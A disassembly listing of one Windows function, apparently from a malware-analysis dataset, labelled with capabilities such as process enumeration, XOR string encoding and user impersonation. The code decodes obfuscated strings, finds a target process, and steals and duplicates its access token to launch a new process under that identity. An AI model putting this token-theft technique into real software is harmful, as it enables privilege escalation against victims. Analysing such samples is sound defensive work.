Function at 0x4128a0
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Enumerate processes
Impersonate user

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x460698
mov eax, dword fs:[0]
push eax
sub esp, 0x33c
mov eax, dword [0x482024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0xa0], 0x577a0555
mov dword [ebp - 0x9c], 0x1b712499
mov dword [ebp - 0x98], 0x85e3f6a2
mov byte [ebp - 0x94], 0
nop dword [eax + eax]
mov dl, al
mov cl, al
sub dl, byte [ebp + eax - 0xa0]
mov dh, 6
xor dl, 0x9f
add dl, 0x69
not dl
sub dl, al
xor dl, 0x44
sub cl, dl
mov dl, al
xor cl, 0xaf
sub dl, cl
movzx ecx, al
ror dl, 1
sub dl, al
imul ecx, ecx, 0xfe
xor dl, al
not dl
add dl, 0x1a
ror dl, 2
sub dl, 0x57
xor dl, al
sub dh, dl
mov dl, 0x7d
rol dh, 1
add dh, al
neg dh
xor dh, al
add dh, al
xor dh, 9
sub cl, dh
not cl
add cl, al
rol cl, 2
not cl
xor cl, al
sub cl, 6
rol cl, 2
xor cl, al
add cl, 0x25
ror cl, 3
sub cl, al
ror cl, 1
sub cl, 0x41
xor cl, al
add cl, 7
ror cl, 3
sub cl, 0x56
xor cl, al
add cl, al
neg cl
xor cl, al
mov dword [ebp - 0x32c], ecx
mov cl, 0x5b
sub cl, byte [ebp - 0x32c]
xor cl, al
sub dl, cl
xor dl, 0x18
sub dl, al
xor dl, al
ror dl, 3
xor dl, 0xe4
add dl, 0x43
not dl
sub dl, al
xor dl, 0xb6
sub dl, al
ror dl, 2
mov byte [ebp + eax - 0xa0], dl
inc eax
cmp eax, 0xd
jb 0x412900
movq xmm1, qword [ebp - 0xa0]
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
mov ecx, 8
movups xmmword [ebp - 0x90], xmm1
nop
movzx eax, byte [ebp + ecx - 0xa0]
mov word [ebp + ecx*2 - 0x90], ax
inc ecx
cmp ecx, 0xd
jb 0x4129e0
xor edi, edi
xor eax, eax
push edi
push 2
mov word [ebp - 0x76], ax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x412d3c
push 0x228
lea eax, [ebp - 0x324]
mov dword [ebp - 0x328], 0x22c
push edi
push eax
call fcn.004414e0
add esp, 0xc
lea eax, [ebp - 0x328]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x412a7e
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax]
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x304]
push eax
call fcn.00444dbd
add esp, 8
test eax, eax
je 0x412d31
lea eax, [ebp - 0x328]
push eax
push esi
call edi
test eax, eax
jne 0x412a50
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x412d3c
xorps xmm0, xmm0
mov dword [ebp - 0x330], 0
mov dword [ebp - 0x32c], 0
xor edx, edx
movlpd qword [ebp - 0xf8], xmm0
movlpd qword [ebp - 0xf0], xmm0
movlpd qword [ebp - 0xe8], xmm0
movlpd qword [ebp - 0xe0], xmm0
movlpd qword [ebp - 0xd8], xmm0
movlpd qword [ebp - 0xd0], xmm0
movlpd qword [ebp - 0xc8], xmm0
movlpd qword [ebp - 0xc0], xmm0
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0xfc], 0x44
mov dword [ebp - 0x344], 0x89ba4ab6
mov dword [ebp - 0x340], 0xac4e0e3b
mov dword [ebp - 0x33c], 0x91e79b68
mov dword [ebp - 0x338], 0xe04c05e
mov byte [ebp - 0x334], 0x5f
nop word [eax + eax]
mov cl, byte [ebp + edx - 0x344]
mov al, 0xbf
rol cl, 1
sub al, dl
sub cl, 0x34
ror cl, 1
xor cl, dl
sub cl, 0x7f
xor cl, dl
add cl, 0x67
rol cl, 1
inc cl
ror cl, 2
sub cl, dl
xor cl, 0xd2
rol cl, 3
xor cl, dl
add cl, 0x30
xor cl, dl
add cl, 0x24
not cl
add cl, 0x2d
not cl
xor cl, dl
ror cl, 3
xor cl, dl
add cl, 0x12
rol cl, 1
not cl
sub cl, dl
ror cl, 1
add cl, al
rol cl, 3
add cl, 0x61
xor cl, dl
sub cl, dl
sub cl, 0x1d
xor cl, 0xa6
sub cl, dl
not cl
xor cl, dl
ror cl, 1
mov byte [ebp + edx - 0x344], cl
inc edx
cmp edx, 0x11
jb 0x412b30
push edi
push 1
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [ebp - 0x330]
push ecx
push 0x2000000
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x412be2
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
cmp dword [ebp + 0x1c], 0x10
lea edx, [ebp + 8]
mov eax, dword [ebp + 0x18]
lea edi, [ebp + 8]
cmovae edx, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xa8], 0
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x348], eax
cmovae edi, dword [ebp + 8]
xor ecx, ecx
sub eax, edi
mov word [ebp - 0xb8], cx
push eax
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0xa4], 7
call fcn.004260d0
push dword [ebp - 0x348]
lea ecx, [ebp - 0xb8]
push dword [ebp - 0x348]
push edi
call fcn.00426480
lea eax, [ebp - 0x32c]
push eax
push 1
push 2
push 0
push 0x2000000
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
cmp dword [ebp - 0xa4], 8
lea ecx, [ebp - 0xa0]
push ecx
lea ecx, [ebp - 0xfc]
push ecx
push 0
push 0
push 0x8000000
push 0
lea eax, [ebp - 0xb8]
cmovae eax, dword [ebp - 0xb8]
push eax
push 1
push dword [ebp - 0x32c]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov edx, dword [ebp - 0xa4]
cmp edx, 8
jb 0x412ce0
mov ecx, dword [ebp - 0xb8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x412cd6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d8c
push edx
push ecx
call fcn.0042a9bb
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 7
mov word [ebp - 0xb8], ax
cmp edx, 0x10
jb 0x412d2d
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412d23
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d8c
push edx
push ecx
call fcn.0042a9bb
add esp, 8
xor eax, eax
jmp 0x412d71
mov edi, dword [ebp - 0x320]
jmp 0x412a7e
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x412d6c
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412d62
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d8c
push edx
push ecx
call fcn.0042a9bb
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042a344
mov esp, ebp
pop ebp
ret
call fcn.004457fc
int3